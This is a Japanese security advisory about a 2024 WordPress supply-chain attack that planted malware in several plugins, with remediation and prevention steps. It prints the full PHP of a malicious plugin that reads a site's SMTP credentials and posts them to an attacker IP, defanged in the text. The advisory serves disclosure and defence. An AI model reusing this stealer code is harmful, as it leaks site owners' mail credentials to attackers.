WooCommerceなどのWordPressプラグインでセキュリティ脆弱性が発見されました

2024.07.30

OVERVIEW

2024年6月、WordPressのサプライチェーン攻撃により、以下のプラグインにマルウェアが混入しました。

  • Social Warfare
  • Blaze Widget
  • Custom Mail SMTP Checker
  • WooCommerce
  • Braintree API

この攻撃により、サイトの管理者権限が奪われたり、機密情報が流出する可能性があるため、迅速な対応が必要です。

問題の詳細

これらのプラグインには、攻撃者がサイトに不正アクセスし、管理者権限を奪取したり、機密情報を流出させるためのマルウェアが含まれていました。以下のコードは、Custom Mail SMTP Checkerプラグインに含まれていたものです:

<?php
/*
Plugin Name: Custom Mail SMTP Checker
Description: Check and display the wp_mail_smtp option value.
Version: 1.0
Author: Your Name
*/

add_action('admin_init', 'custom_mail_smtp_checker');

function custom_mail_smtp_checker() {
$smtp_options = get_option('wp_mail_smtp');

if ($smtp_options && is_array($smtp_options) && !empty($smtp_options)) {
$flattened_array = flatten_array($smtp_options);

$data_to_send = array(
'host' => site_url(),
'smtp_credentials' => $flattened_array
);

$response = wp_remote_post('hxxps://94.156.79[.]8/receive-smtp-data', array(
'body' => json_encode($data_to_send),
'headers' => array(
'Content-Type' => 'application/json'
)
));

if (is_wp_error($response)) {
$error_message = $response->get_error_message();
error_log("Failed to send data to Node.js endpoint: $error_message");
} else {
error_log("Data sent to Node.js endpoint successfully.");
}
}
}

function flatten_array($array, $prefix = '') {
$result = [];

foreach ($array as $key => $value) {
$new_key = $prefix . '_' . $key;

if (is_array($value) && !empty($value)) {
$result = array_merge($result, flatten_array($value, $new_key));
} elseif (!empty($value) || $value === '0') {
$result[$new_key] = $value;
}
}

return $result;
}
?>

影響とリスク

この攻撃により、以下のリスクがあります:

  • 管理者アカウントが不正に追加される
  • 機密情報が攻撃者に送信される
  • サイトが攻撃者によって乗っ取られる

対処方法

万が一、これらの脆弱性が既に悪用されてしまった場合、以下の手順を実行して被害を最小限に抑えましょう:

  1. 管理者アカウントの確認
    • サイトの管理者アカウントに不審なアカウントがないか確認し、見慣れないアカウントがあれば直ちに削除してください。
  2. パスワードの変更
    • すべての管理者およびユーザーアカウントのパスワードを強力なものに変更し、二要素認証(2FA)を設定してください。
  3. サーバーログの確認
    • サーバーのアクセスログやエラーログを確認し、不審なアクセスや活動がないかチェックしてください。
  4. ファイルの検査と削除
    • サーバー上のファイルをスキャンして、不審なファイルや改ざんされたファイルがないか確認し、不審なファイルは削除してください。
    • 特に、wp-content/uploadsディレクトリに不審なPHPファイルがないかを確認してください。
  5. サイトのバックアップからの復元
    • もし最近のバックアップがあれば、クリーンな状態に戻すためにバックアップからサイトを復元することを検討してください。
  6. プラグインとテーマの更新
    • すべてのプラグインとテーマを最新バージョンに更新してください。
  7. セキュリティプラグインの導入とスキャン
    • WordfenceやSucuriなどのセキュリティプラグインを導入し、サイト全体のセキュリティスキャンを実施して、さらなる脆弱性やマルウェアがないか確認してください。
  8. セキュリティの専門家に相談
    • 必要に応じて、セキュリティの専門家に相談し、さらなる調査と対応を依頼することを検討してください。

予防方法

  • 定期的な更新:プラグインやテーマは常に最新の状態に保ち、セキュリティパッチがリリースされた際は迅速に更新しましょう。
  • ユーザー権限の管理:不要なユーザー権限を見直し、最小限の権限のみを付与するようにしましょう。
  • セキュリティプラグインの利用:Wordfenceなどのセキュリティプラグインを導入し、サイト全体のセキュリティを強化しましょう。

まとめ

これらの脆弱性は、サイトのセキュリティに重大な影響を与える可能性があります。速やかにプラグインを更新し、適切なセキュリティ対策を講じることが重要です。あなたのサイトがこれらの脆弱性による攻撃を受けないよう、早急に対応を行ってください。